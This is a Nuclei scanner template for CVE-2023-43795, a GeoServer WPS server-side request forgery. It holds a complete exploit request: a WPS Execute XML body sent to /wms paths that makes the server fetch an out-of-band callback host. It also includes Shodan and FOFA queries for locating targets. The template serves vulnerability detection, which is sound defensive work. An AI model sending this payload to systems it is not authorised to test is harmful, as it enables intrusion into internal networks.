82 lines
3.2 KiB
YAML
82 lines
3.2 KiB
YAML
id: CVE-2023-43795
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info:
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name: GeoServer WPS - Server Side Request Forgery
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author: DhiyaneshDK
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severity: critical
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description: |
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GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. The OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests. This presents the opportunity for Server Side Request Forgery. This vulnerability has been patched in version 2.22.5 and 2.23.2.
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reference:
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- https://www.synacktiv.com/advisories/unauthenticated-server-side-request-forgery-crlf-injection-in-geoserver-wms.html
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- https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956
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- https://nvd.nist.gov/vuln/detail/CVE-2023-43795
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-43795
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cwe-id: CWE-918
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epss-score: 0.12207
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epss-percentile: 0.94783
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cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: osgeo
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product: geoserver
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shodan-query: title:"GeoServer"
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fofa-query: app="GeoServer"
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tags: cve,cve2023,geoserver,ssrf,oast,oos
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variables:
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oast: "{{interactsh-url}}"
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string: "{{to_lower(rand_text_alpha(4))}}"
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value: "{{to_lower(rand_text_alpha(5))}}"
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http:
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- raw:
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- |
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POST {{path}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<?xml version="1.0" encoding="UTF-8"?>
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<wps:Execute version="1.0.0" service="WPS"
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xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
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xmlns="http://www.opengis.net/wps/1.0.0"
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xmlns:wfs="http://www.opengis.net/wfs"
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xmlns:wps="http://www.opengis.net/wps/1.0.0"
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xmlns:ows="http://www.opengis.net/ows/1.1"
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xmlns:gml="http://www.opengis.net/gml"
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xmlns:ogc="http://www.opengis.net/ogc"
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xmlns:wcs="http://www.opengis.net/wcs/1.1.1"
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xmlns:xlink="http://www.w3.org/1999/xlink"
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xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
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<ows:Identifier>JTS:area</ows:Identifier>
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<wps:DataInputs>
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<wps:Input>
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<ows:Identifier>geom</ows:Identifier>
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<wps:Reference mimeType="application/json" xlink:href="https://{{oast}}" method="GET">
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<wps:Header key="{{string}}" value="{{value}}"/>
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</wps:Reference>
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</wps:Input>
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</wps:DataInputs>
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<wps:ResponseForm>
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<wps:RawDataOutput>
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<ows:Identifier>result</ows:Identifier>
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</wps:RawDataOutput>
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</wps:ResponseForm>
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</wps:Execute>
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payloads:
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path:
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- /wms
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- /geoserver/wms
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stop-at-first-match: true
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matchers:
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- type: dsl
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dsl:
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- contains(interactsh_protocol, 'http')
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- contains_all(to_lower(interactsh_request), '{{string}}','{{value}}')
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- status_code == 200
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condition: and
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# digest: 4a0a004730450221009062ad3849dcf9ecbef428c11f74a3e4595ac636157ea940111662f9ae91c3f602207d1580ee04b45a2ca20886d753a2128c42102db7b5fd912293a8b1a8c05e9148:922c64590222798bb761d5b6d8e72950 |